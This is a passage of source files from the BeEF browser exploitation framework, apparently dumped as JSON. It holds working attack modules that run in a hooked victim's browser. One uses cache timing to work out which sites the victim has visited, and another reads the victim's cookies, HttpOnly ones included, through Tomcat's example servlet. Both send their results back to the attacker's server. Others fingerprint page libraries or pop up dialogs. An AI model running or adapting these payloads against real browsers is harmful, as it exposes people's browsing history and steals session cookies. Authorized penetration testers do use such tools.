'https://s-static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',\n\t\t\t\t\t\t\t\t\t  'http://static.ak.facebook.com/rsrc.php/v1/yX/r/HN0ehA1zox_.js',\n\t\t\t\t\t\t\t\t\t  'http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/HN0ehA1zox_.js' ] },\n\t  { 'name': 'Google Plus', 'urls': [ 'https://ssl.gstatic.com/gb/js/abc/gcm_57b1882492d4d0138a0a7ea7240394ca.js' ] },\n\t\n\t  { 'name': 'Dogster', 'urls': [ 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js.gz',\n\t\t\t\t\t\t\t\t\t 'http://a1.cdnsters.com/static/resc/labjs1.2.0-jquery1.6-jqueryui1.8.12-bugfix4758.min.js' ] },\n\t  { 'name': 'MySpace', 'urls': [ 'http://x.myspacecdn.com/modules/common/static/css/futuraglobal_kqj36l0b.css' ] },\n\t  { 'category': 'Content platforms' },\n\t  { 'name': 'Youtube', 'urls': [ 'http://s.ytimg.com/yt/cssbin/www-refresh-vflMpNCTQ.css' ] },\n\t  { 'name': 'Hulu', 'urls': [ 'http://static.huluim.com/system/hulu_0cd8f497_1.css' ] },\n\t  { 'name': 'Flickr', 'urls': [ 'http://l.yimg.com/g/css/c_fold_main.css.v109886.64777.105425.23' ] },\n\t  { 'name': 'JustinBieberMusic.com', 'urls': [ 'http://www.justinbiebermusic.com/underthemistletoe/js/fancybox.js' ] },\n\t  { 'name': 'Playboy', 'urls': [ 'http://www.playboy.com/wp-content/themes/pb_blog_r1-0-0/css/styles.css' /* 4h */ ] },\n\t  { 'name': 'Wikileaks', 'urls': [ 'http://wikileaks.org/squelettes/jquery-1.6.4.min.js' ] },\n\t  { 'category': 'Online media' },\n\t  { 'name': 'New York Times', 'urls': [ 'http://js.nyt.com/js2/build/sitewide/sitewide.js' ] },\n\t  { 'name': 'CNN', 'urls': [ 'http://z.cdn.turner.com/cnn/tmpl_asset/static/www_homepage/835/css/hplib-min.css',\n\t\t\t\t\t\t\t\t 'http://z.cdn.turner.com/cnn/tmpl_asset/static/intl_homepage/564/css/intlhplib-min.css' ] },\n\t  { 'name': 'Reddit', 'urls': [ 'http://www.redditstatic.com/reddit.en-us.xMviOWUyZqo.js' ] },\n\t  { 'name': 'Slashdot', 'urls': [ 'http://a.fsdn.com/sd/classic.css?release_20111207.02' ] },\n\t  { 'name': 'Fox News', 'urls': [ 'http://www.fncstatic.com/static/all/css/head.css?1' ] },\n\t  { 'name': 'AboveTopSecret.com', 'urls': [ 'http://www.abovetopsecret.com/forum/ats-scripts.js' ] },\n\t  { 'category': 'Commerce' },\n\t  { 'name': 'Diapers.com', 'urls': [ 'http://c1.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12',\n\t\t\t\t\t\t\t\t\t\t 'http://c3.diapers.com/App_Themes/Style/style.css?ReleaseVersion=5.2.12' ] },\n\t  { 'name': 'Expedia', 'urls': [ 'http://www.expedia.com/static/default/default/scripts/expedia/core/e.js?v=release-2011-11-r4.9.317875' ] },\n\t  { 'name': 'Amazon (US)', 'urls': [ 'http://z-ecx.images-amazon.com/images/G/01/browser-scripts/us-site-wide-css-quirks/site-wide-3527593236.css._V162874846_.css' ] },\n\t  { 'name': 'Newegg', 'urls': [ 'http://images10.newegg.com/WebResource/Themes/2005/CSS/template.v1.w.5723.0.css' ] },\n\t  { 'name': 'eBay', 'urls': [ 'http://ir.ebaystatic.com/v4js/z/io/gbsozkl4ha54vasx4meo3qmtw.js' ] },\n      { 'category': 'Coding' },\n      { 'name': 'GitHub', 'urls': [ 'https://a248.e.akamai.net/assets.github.com/stylesheets/bundles/github-fa63b2501ea82170d5b3b1469e26c6fa6c3116dc.css' ] },\n      { 'category': 'Security' },\n      { 'name': 'Exploit DB', 'urls': [ 'http://www.exploit-db.com/wp-content/themes/exploit/style.css' ] },\n      { 'name': 'Packet Storm', 'urls': [ 'http://packetstormsecurity.org/img/pss.ico' ] },\n      { 'category': 'Email' },\n      { 'name': 'Hotmail', 'urls': [ 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.9/~/~/~/~/css/R3WinLive1033.css' ] }\n\t];\n\t/*************************\n\t * CONFIGURABLE SETTINGS *\n\t *************************/\n\tvar TIME_LIMIT = 3;\n\tvar MAX_ATTEMPTS = 1;\t\n}\n\n/* Fetch additional targets specified by user */\nvar domains = '<%= @domains %>';\nvar r = new RegExp(/(\\b[^,;]+\\b)\\s*;\\s*([^$,]+)/gm);\nvar res;\n\nwhile ((res = r.exec(domains)) != null) {\n  targets.push({'name': res[1], 'urls': res[2]});\n}\n\nfunction sched_call(fn) {\n  exec_next = fn;\n  window.postMessage('123', '*');\n}\n\n\n/**********************\n * MAIN STATE MACHINE *\n **********************/\nvar log_area;\nvar target_off = 0;\nvar attempt = 0;\nvar confirmed_visited = false;\nvar current_url, current_name;\nvar wait_cycles;\nvar frame_ready = false;\nvar start, stop, urls;\n\n/* The frame was just pointed to data:... at this point. Initialize a new test, giving the\n   frame some time to fully load. */\nfunction perform_check() {\n  wait_cycles = 0;\n  if (beef.browser.isIE() == 1) {\n  \tsetTimeout(wait_for_read, 0);\n  }\n  if (beef.browser.isFF() == 1) {\n  \tsetTimeout(wait_for_read, 1);\n  }\n  if(beef.browser.isO() == 1){\n    setTimeout(wait_for_read, 1);\n  } \n}\n\n\n/* Confirm that data:... is loaded correctly. */\nfunction wait_for_read() {\n  if (wait_cycles++ > 100) {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'results=Something went wrong, sorry');\n    return;\n  }\n  if (beef.browser.isFF() == 1) {\n\t  if (!frame_ready) {\n\t\tsetTimeout(wait_for_read, 1);\n\t  } else {\n\t\tdocument.getElementById('f').contentWindow.stop();\n\t\tsetTimeout(navigate_to_target, 1);\n\t  }\n  }\n  if (beef.browser.isIE() == 1) {\n\t  try{\n \t    if (frames['f'].location.href != 'about:blank') throw 1;\n\t\t//if(document.getElementById('f').contentWindow.location.href  != 'about:blank') throw 1;\n\t\tdocument.getElementById(\"f\").src ='javascript:\"<body onload=\\'parent.frame_ready = true\\'>\"';\n\t\tsetTimeout(wait_for_read2, 0);\n\t  } catch (e) {\n\t\tsetTimeout(wait_for_read, 0);\n\t  }\t\n   }\n   if (beef.browser.isO() == 1){\n      try{\n\t\t\n        if(frames['f'].location.href != 'about:blank') throw 1;\n        \n        frames['f'].stop();\n        document.getElementById('f').src = 'javascript:\"<body onload=\\'parent.frame_ready = true\\'>\"';\n        setTimeout(wait_for_read2, 1);\n      } catch(e){\n        setTimeout(wait_for_read, 1);\n      }\n   }\n}\n\nfunction wait_for_read2() {\n  if (wait_cycles++ > 100) {\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'results=Something went wrong, sorry');\n    return;\n  }\n  if (!frame_ready) {\n    setTimeout(wait_for_read2, 0);\n  } else {\n    setTimeout(navigate_to_target, 1);\n  }\n}\n\n\n\n/* Navigate the frame to the target URL. */\nfunction navigate_to_target() {\n  cycles = 0;\n  if (beef.browser.isFF() == 1) {\n\t  sched_call(wait_for_noread);\n  } \n  if (beef.browser.isIE() == 1) {\n\t  setTimeout(wait_for_noread, 0);\n  }\n  if (beef.browser.isO() == 1){\n      setTimeout(wait_for_noread, 1);\n  }\n  urls++;\n  document.getElementById(\"f\").src = current_url;\n}\n\n\n/* The browser is now trying to load the destination URL. Let's see if\n   we lose SOP access before we hit TIME_LIMIT. If yes, we have a cache\n   hit. If not, seems like cache miss. In both cases, the navigation\n   will be aborted by maybe_test_next(). */\n\nfunction wait_for_noread() {\n  try {\n\tif (beef.browser.isIE() == 1) {\n\t\tif (frames['f'].location.href == undefined){\n\t\t\tconfirmed_visited = true;\n\t\t\tthrow 1;\n\t\t}\n\t\tif (cycles++ >= TIME_LIMIT) {\n\t\t  maybe_test_next();\n\t\t  return;\n\t\t}\t\t\n\t\tsetTimeout(wait_for_noread, 0);\n \t  }\n \tif (beef.browser.isFF() == 1) {\n\t\tif (document.getElementById('f').contentWindow.location.href == undefined) \n\t\t{\n\t\t\tconfirmed_visited = true;\n\t\t\tthrow 1;\n\t\t}\n  \t\tif (cycles >= TIME_LIMIT) {\n     \t\tmaybe_test_next();\n      \t\treturn;\n    \t}\t\n    \tsched_call(wait_for_noread);    \t\n\t}\n    if (beef.browser.isO() == 1){\n       if (frames['f'].location.href == undefined){\n           confirm_visited = true;\n           throw 1;\n       }\n       if (cycles++ >= TIME_LIMIT) {\n           maybe_test_next();\n           return;\n       }\n        setTimeout(wait_for_noread, 1);\n     }\n  } catch (e) {\n    confirmed_visited = true;\n    maybe_test_next();\n  }\n}\n\nfunction maybe_test_next() {\n  frame_ready = false;\n  if (beef.browser.isFF() == 1) {\n\t  document.getElementById('f').src = 'data:text/html,<body onload=\"parent.frame_ready = true\">';\n  }\n  if (beef.browser.isIE() == 1) {\n  \t   document.getElementById(\"f\").src = 'about:blank';\n  }\n  if (beef.browser.isO() == 1) {\n      document.getElementById('f').src = 'about:blank';\n  }\n  if (target_off < targets.length) {\n    if (targets[target_off].category) {\n      //log_text(targets[target_off].category + ':', 'p', 'category');\n      target_off++;\n    }\n    if (confirmed_visited) {\n      log_text('Visited: ' + current_name + ' [' + cycles + ':' + attempt + ']', 'li', 'visited');\n    }\n    if (confirmed_visited || attempt == MAX_ATTEMPTS * targets[target_off].urls.length) {\n      if (!confirmed_visited)\n        //continue;\n        log_text('Not visited: ' + current_name + ' [' + cycles + '+]', 'li', 'not_visited');\n      confirmed_visited = false;\n      target_off++;\n      attempt = 0;\n      maybe_test_next();\n    } else {\n      current_url = targets[target_off].urls[attempt % targets[target_off].urls.length];\n      current_name = targets[target_off].name;\n      attempt++;\n      perform_check();\n    }\n  }\n}\n\n\n/* Just a logging helper. */\nfunction log_text(str, type, cssclass) {\n  results+=\"<br>\";\n  results+=str;\n  //alert(str);\n  if(target_off==(targets.length-1)){\n  \tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'results='+results);\n\tsetTimeout(reload,3000);\n  }\n}\n\nfunction reload(){\n\t//window.location.href=window.location.href;\n\twindow.location.reload();\n}\n\n/* Decides what to do next. May schedule another attempt for the same target,\n   select a new target, or wrap up the scan. */\n\n\n\n/* The handler for \"run the test\" button on the main page. Dispenses\n   advice, resets state if necessary. */\nfunction start_stuff() {\n  if (beef.browser.isFF() == 1 || beef.browser.isIE() == 1 || beef.browser.isO() == 1) {\n  \t  target_off = 0;\n\t  attempt = 0;\n\t  confirmed_visited = false;\n\t  urls = 0;\n\t  results = \"\";\n\t  maybe_test_next();\n  }\n  else {\n  \tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'results=This proof-of-concept is specific to Firefox, Internet Explorer, Chrome and Opera, and probably won\\'t work for you.');\n  }  \n}\n\n/**************/\n/***Visipisi***/\n/**************/\nvar vp_result = {};\n\nvar visipisi = {\n  webkit: function(url, cb) {\n    var start;\n    var loaded = false;\n    var runtest = function() {\n      window.removeEventListener(\"message\", runtest, false);\n      var img = new Image();\n      start = new Date().getTime();\n      try{\n      img.src = url;\n      } catch(e) {}\n      var messageCB = function (e){\n      var now = new Date().getTime();\n          if (img.complete) {\n            delete img;\n            window.removeEventListener(\"message\", messageCB, false);\n            cbWrap(true);\n          } else if (now - start > 10) {\n            delete img;\n\t    if (window.stop !== undefined)\n\t\twindow.stop();\n            else\n\t\tdocument.execCommand(\"Stop\",false);\n            window.removeEventListener(\"message\", messageCB, false);\n            cbWrap(false);\n        } else {\n          window.postMessage('','*');\n      \t}\n\n    };\n    window.addEventListener(\"message\", messageCB, false);\n    window.postMessage('','*');\n  };\n  cbWrap = function (value) {cb(value);};\n  window.addEventListener(\"message\", runtest, false);\n  window.postMessage('','*');\n  }\n};\n\nfunction visipisiCB(vp, endCB, sites, urls, site, result){\n    if(result === null){\n\tvp_result[site] = 'Whoops';\n     }\n     else{\t\n\tvp_result[site] = result ? 'visited' : 'not visited';\n     }\n     var next_site = sites.pop();\n     if(next_site)\n\tvp( urls[next_site], function (result) { \n\t  visipisiCB(vp, endCB, sites, urls, next_site, result);\n\t});\n      else\n\tendCB();\n}\n\nfunction getVisitedDomains(){\n  var tests = {\n\t\tfacebook: 'https://s-static.ak.facebook.com/rsrc.php/v1/yJ/r/vOykDL15P0R.png',\n\t\ttwitter: 'https://twitter.com/images/spinner.gif',\n\t\tdigg: 'http://cdn2.diggstatic.com/img/sprites/global.5b25823e.png',\n\t\treddit: 'http://www.redditstatic.com/sprite-reddit.pZL22qP4ous.png',\n\t\thn: 'http://ycombinator.com/images/y18.gif',\n\t\tstumbleupon: 'http://cdn.stumble-upon.com/i/bg/logo_su.png',\n\t\twired: 'http://www.wired.com/images/home/wired_logo.gif',\n\t\txkcd: 'http://imgs.xkcd.com/s/9be30a7.png',\n\t\tlinkedin: 'http://static01.linkedin.com/scds/common/u/img/sprite/sprite_global_v6.png',\n\t\tslashdot: 'http://a.fsdn.com/sd/logo_w_l.png',\n\t\tmyspace: 'http://cms.myspacecdn.com/cms/x/11/47/title-WhatsHotWhite.jpg',\n\t\tengadget: 'http://www.blogsmithmedia.com/www.engadget.com/media/engadget_logo.png',\n\t        lastfm: 'http://cdn.lst.fm/flatness/anonhome/1/anon-sprite.png',\n\t        pandora: 'http://www.pandora.com/img/logo.png',\n\t        youtube: 'http://s.ytimg.com/yt/img/pixel-vfl3z5WfW.gif',\n\t        yahoo: 'http://l.yimg.com/ao/i/mp/properties/frontpage/01/img/aufrontpage-sprite.s1740.gif',\n\t        google: 'https://www.google.com/intl/en_com/images/srpr/logo3w.png',\n\t        hotmail: 'https://secure.shared.live.com/~Live.SiteContent.ID/~16.2.8/~/~/~/~/images/iconmap.png',\n\t        cnn: 'http://i.cdn.turner.com/cnn/.element/img/3.0/global/header/intl/hdr-globe-central.gif',\n\t        bbc: 'http://static.bbc.co.uk/frameworks/barlesque/1.21.2/desktop/3/img/blocks/light.png',\n\t        reuters: 'http://www.reuters.com/resources_v2/images/masthead-logo.gif',\n\t        wikipedia: 'http://upload.wikimedia.org/wikipedia/en/b/bc/Wiki.png',\n\t        amazon: 'http://g-ecx.images-amazon.com/images/G/01/gno/images/orangeBlue/navPackedSprites-US-22._V183711641_.png',\n\t        ebay: 'http://p.ebaystatic.com/aw/pics/au/logos/logoEbay_x45.gif',\n\t        newegg: 'http://images10.newegg.com/WebResource/Themes/2005/Nest/neLogo.png',\n\t        bestbuy: 'http://images.bestbuy.com/BestBuy_US/en_US/images/global/header/hdr_logo.gif',\n\t\twalmart: 'http://i2.walmartimages.com/i/header_wide/walmart_logo_214x54.gif',\n\t\tperfectgirls: 'http://www.perfectgirls.net/img/logoPG_02.jpg',\n\t        abebooks: 'http://www.abebooks.com/images/HeaderFooter/siteRevamp/AbeBooks-logo.gif',\n\t\tmsy: 'http://msy.com.au/images/MSYLogo-long.gif',\n\t\ttechbuy: 'http://www.techbuy.com.au/themes/default/images/tblogo.jpg',\n\t\tborders: 'http://www.borders.com.au/images/ui/logo-site-footer.gif',\n\t\tmozilla: 'http://www.mozilla.org/images/template/screen/logo_footer.png',\n\t\tanandtech: 'http://www.anandtech.com/content/images/globals/header_logo.png',\n\t\ttomshardware: 'http://m.bestofmedia.com/i/tomshardware/v3/logo_th.png',\n\t\tshopbot: 'http://i.shopbot.com.au/s/i/logo/en_AU/shopbot.gif',\n\t\tstaticice: 'http://staticice.com.au/images/banner.jpg',\n  };\n\n  var sites = [];\n  for (var k in tests) {\n    sites.push(k);\n  }\n  \n  sites.reverse();\n\n  vp = visipisi.webkit;\n  var first_site = sites.pop();\n  var end = function() {\n  \tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'results='+prepResult(vp_result));\n  }\n  \n  vp(tests[first_site], function(result) {\n\t\tvisipisiCB(vp, end, sites, tests, first_site, result);\n  });\n}\n\nfunction prepResult(results){\n    var result_str ='<br>';\n    for(r in results){\n      result_str += r + ':' + results[r]+'<br>';\n    }\n    return result_str;\n}\n\nbeef.execute(function() { \n  if(beef.browser.isC() == 1){\n\tgetVisitedDomains();\n\n  } else {  \n   urls = undefined;\n   exec_next = null;\n   start_stuff();\n }\n});\n\n\t\n"
  },
  {
    "path": "modules/browser/get_visited_domains/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n         get_visited_domains:\n            enable: true\n            category: \"Browser\"\n            name: \"Get Visited Domains\"\n            description: \"This module will retrieve rapid history extraction through non-destructive cache timing.\\nBased on work done by Michal Zalewski at http://lcamtuf.coredump.cx/cachetime/\\n\\nYou can specify additional resources to fetch during visited domains analysis. To do so, paste to the below text field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page (mind to avoid CDN resources, as they vary). Separate domain names with url by using semicolon (;), specify next domains by separating them with comma (,).\"\n            authors: [\"@keith55\", \"oxplot\", \"quentin\"]\n            target:\n                working: [\"FF\", \"IE\", \"O\"]\n                not_working: [\"C\", \"S\"]\n"
  },
  {
    "path": "modules/browser/get_visited_domains/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Get_visited_domains < BeEF::Core::Command\n  def self.options\n    [{\n      'name' => 'domains',\n      'description' => 'Specify additional resources to fetch during visited domains analysis. Paste to the below field full URLs leading to CSS, image, JS or other *static* resources hosted on desired page. Separate domain names with url by using semicolon (;). Next domains separate by comma (,).',\n      'type' => 'textarea',\n      'ui_label' => 'Specify custom page to check',\n      'value' => 'Github ; https://assets-cdn.github.com/favicon.ico,',\n      'width' => '400px',\n      'height' => '200px'\n    }]\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/get_visited_urls/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar results = beef.browser.hasVisited(\"<%== format_multiline(@urls) %>\");\n\tvar comp = '';\n\tfor (var i=0; i < results.length; i++)\n\t{\n\t\tcomp += results[i].url+' = '+results[i].visited+'  ';\n\t}\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, comp);\n});\n\n"
  },
  {
    "path": "modules/browser/get_visited_urls/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        get_visited_urls:\n            enable: true\n            category: \"Browser\"\n            name: \"Get Visited URLs (Old Browsers)\"\n            description: \"This module will detect whether or not the hooked browser has visited the specified URL(s)\"\n            authors: [\"passbe\"]\n            target:\n                working:\n                    IE:\n                        min_ver: 6\n                        max_ver: 7\n                    FF:\n                        min_ver: 3\n                        max_ver: 3\n                    C:\n                        min_ver: 1\n                        max_ver: 5\n                    S:\n                        min_ver: 3\n                        max_ver: 3\n                    O:\n                        min_ver: 1\n                        max_ver: 10\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/get_visited_urls/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Get_visited_urls < BeEF::Core::Command\n  def self.options\n    [\n      { 'ui_label' => 'URL(s)',\n        'name' => 'urls',\n        'description' => 'Enter target URL(s)',\n        'type' => 'textarea',\n        'value' => 'https://beefproject.com/',\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/ajax_fingerprint/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n             \n     //Regular expression to match script names in source \n     var regex = new RegExp('/\\\\w*\\.(min\\.)?js');\n     var results = [];\n     var urls = \"\";  \n\n    function unique(array) {\n      return $.grep(array, function(el, index) {\n        return index === $.inArray(el, array);\n      });\n    }\n\n     // Fingerprints of javascript /ajax libraries . Library Name: Array of common file names \n     \n     var fingerprints = {\n             \"Prototype\":new Array(\"prototype\"),\n             \"script.aculous\":new Array(\"builder\",\"controls\",\"dragdrop\",\"effects\",\"scriptaculous\",\"slider\",\"unittest\"),\n             \"Dojo\":new Array(\"dojo.uncompressed\",\"uncompressed\",\"dojo\"),\n             \"DWR\":new Array(\"auth\",\"engine\",\"util\"),\n             \"Moo.fx/\":new Array(\"Moo\",\"Function\",\"Array\",\"String\",\"Element\",\"Fx\",\"Dom\",\"Ajax\",\"Drag\",\"Windows\",\"Cookie\",\"Json\",\"Sortable\",\"Fxpack\",\"Fxutils\",\"Fxtransition\",\"Tips\",\"Accordion\"),\n             \"Rico\": new Array(\"rico\",\"ricoAjax\",\"ricoCommon\",\"ricoEffects\",\"ricoBehaviours\",\"ricoDragDrop\",\"ricoComponents\"),\n             \"Mootools\":new Array(\"mootools\",\"mootools-core-1.4-full\",\"mootools-more-1.4-full\"),\n             \"Mochikit\":new Array(\"Mochikit\"),\n             \"Yahoo UI!\": new Array(\"animation\",\"autocomplete\",\"calendar\",\"connection\",\"container\",\"dom\",\"enevet\",\"logger\",\"menu\",\"slider\",\"tabview\",\"treeview\",\"utilities\",\"yahoo\",\"yahoo-dom-event\"),\n             \"xjax\":new Array(\"xajax\",\"xajax_uncompressed\"),\n             \"GWT\": new Array(\"gwt\",\"search-results\"),\n             \"Atlas\": new Array(\"AtlasRuntime\",\"AtlasBindings\",\"AtlasCompat\",\"AtlasCompat2\"),\n             \"jquery\":new Array(\"jquery\",\"jquery-latest\",\"jquery-latest\",\"jquery-1.5\"),\n             \"ExtJS\":new Array(\"ext-all\"),\n             \"Prettify\":new Array(\"prettify\"),\n             \"Spry\": new Array(\"SpryTabbedPanels\",\"SpryDOMUtils\",\"SpryData\",\"SpryXML\",\"SpryUtils\",\"SpryURLUtils\",\"SpryDataExtensions\",\"SpryDataShell\",\"SpryEffects\",\"SpryPagedView\",\"SpryXML\"),\n             \"Google JS Libs\":new Array(\"xpath\",\"urchin\",\"ga\"),\n             \"Libxmlrequest\":new Array(\"libxmlrequest\"),\n             \"jx\":new Array (\"jx\",\"jxs\"),\n             \"bajax\":new Array(\"bajax\"),\n             \"AJS\": new Array (\"AJS\",\"AJS_fx\"),\n             \"Greybox\":new Array(\"gb_scripts.js\"),\n             \"Qooxdoo\":new Array(\"qx.website-devel\",\"qooxdoo-1.6\",\"qooxdoo-1.5.1\",\"qxserver\",\"q\",\"q.domain\",\"q.sticky\",\"q.placeholder\",\"shCore\",\"shBrushScript\"),\n               \n     };\n\n     function fp() {\n        try{ \n            var sc = document.scripts;\n            var urls =\"\";\n            var source = \"\"\n            if (sc != null){\n                for (sc in document.scripts){\n                    source =document.scripts[sc]['src'] || \"\";\n                    if(source !=\"\"){\n                        //get the script file name and remove unnecessary endings and such\n                        var comp = source.match(regex).toString().replace(new RegExp(\"/|.min|.pack|.uncompressed|.js\\\\W\",\"g\"),\"\");\n                        for (key in fingerprints){\n                            for (name in fingerprints[key]){\n                            // match name in the fingerprint object \n                                if(comp==fingerprints[key][name]){\n                                    results.push(\"Lib:\"+key+\" src:\"+source);\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            if(results.length >0){\n                urls=unique(results).join('||');\n                beef.net.send(\"<%= @command_url %>\", <%=  @command_id %>, \"script_urls=\"+urls);\n            }\n            else{\n              beef.net.send(\"<%= @command_url %>\", <%=  @command_id %>, \"script_urls=\"+urls);\n          } \n        }\n        catch(e){\n            results = \"Fingerprint failed: \"+e.message;\n            beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"script_urls=\"+results.toString());\n        }\n    }\n\n    fp();\n\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/ajax_fingerprint/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ajax_fingerprint:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Fingerprint Ajax\"\n            description: \"Fingerprint Ajax and JS libraries present on the hooked page.\"\n            authors: [\"qswain\"]\n            target:\n                working: [\"FF\", \"S\"]\n                not_working: [\"C\"]\n\n"
  },
  {
    "path": "modules/browser/hooked_origin/ajax_fingerprint/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Ajax_fingerprint < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['script_urls'] = @datastore['script_urls'] unless @datastore['script_urls'].nil?\n    content['fail'] = 'Failed to fingerprint ajax.' if content.empty?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/alert_dialog/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\talert(\"<%= @text %>\");\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"text=<%= @text %>\", beef.are.status_success());\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/alert_dialog/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        alert_dialog:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Create Alert Dialog\"\n            description: \"Sends an alert dialog to the hooked browser.\"\n            authors: [\"wade\", \"bm\"]\n            target:\n                user_notify: [\"All\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/alert_dialog/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Alert_dialog < BeEF::Core::Command\n  # set and return all options for this module\n  def self.options\n    [{\n      'name' => 'text',\n      'description' => 'Sends an alert dialog to the victim',\n      'type' => 'textarea',\n      'ui_label' => 'Alert text',\n      'value' => 'BeEF Alert Dialog',\n      'width' => '400px'\n    }]\n  end\n\n  def post_execute\n    content = {}\n    content['User Response'] = \"The user clicked the 'OK' button when presented with an alert box.\"\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  request_header_servlet_path = \"<%= @request_header_servlet_path %>\";\n\n  function parseResponse() {\n    var cookie_dict = {};\n\n    if (xhr.readyState == 4) {\n      if (xhr.status == 404) {\n        beef.debug(\"[apache_tomcat_examples_cookie_disclosure] RequestHeaderExample not found\");\n        return;\n      }\n\n      if (xhr.status != 200) {\n        beef.debug(\"[apache_tomcat_examples_cookie_disclosure] Unexpected HTTP response status \" + xhr.status)\n        return;\n      }\n\n      if (!xhr.responseText) {\n        beef.debug(\"[apache_tomcat_examples_cookie_disclosure] No response content\")\n        return;\n      }\n\n      beef.debug(\"[apache_tomcat_examples_cookie_disclosure] Received HTML content (\" + xhr.responseText.length + \" bytes)\");\n\n      var content = xhr.responseText.replace(/\\r|\\n/g,'').match(/<table.*?>(.+)<\\/table>/)[0];\n\n      if (!content || !content.length) {\n        beef.debug(\"[apache_tomcat_examples_cookie_disclosure] Unexpected response: No HTML table in response\")\n        return;\n      }\n\n      var cookies = content.match(/cookie<\\/td><td>(.+)<\\/td>?/)[1].split('; ');\n      for (var i=0; i<cookies.length; i++) {\n        var s_c = cookies[i].split('=', 2);\n        cookie_dict[s_c[0]] = s_c[1];\n      }\n      var result = JSON.stringify(cookie_dict);\n\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"cookies=\" + result);\n    }\n  }\n\t\t\n  var xhr = new XMLHttpRequest();\n  xhr.onreadystatechange = parseResponse;\n  xhr.open(\"GET\", request_header_servlet_path, true);\n  xhr.send();\n});\n"
  },
  {
    "path": "modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n      apache_tomcat_examples_cookie_disclosure:\n            enable: true\n            category: [\"Browser\", \"Hooked Domain\"]\n            name: \"Apache Tomcat RequestHeaderExample Cookie Disclosure\"\n            description: \"This module uses the Apache Tomcat examples web app (if installed) in order to read the victim's cookies, even if issued with the HttpOnly attribute.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"All\"]\n"
  },
  {
    "path": "modules/browser/hooked_origin/apache_tomcat_examples_cookie_disclosure/module.rb",
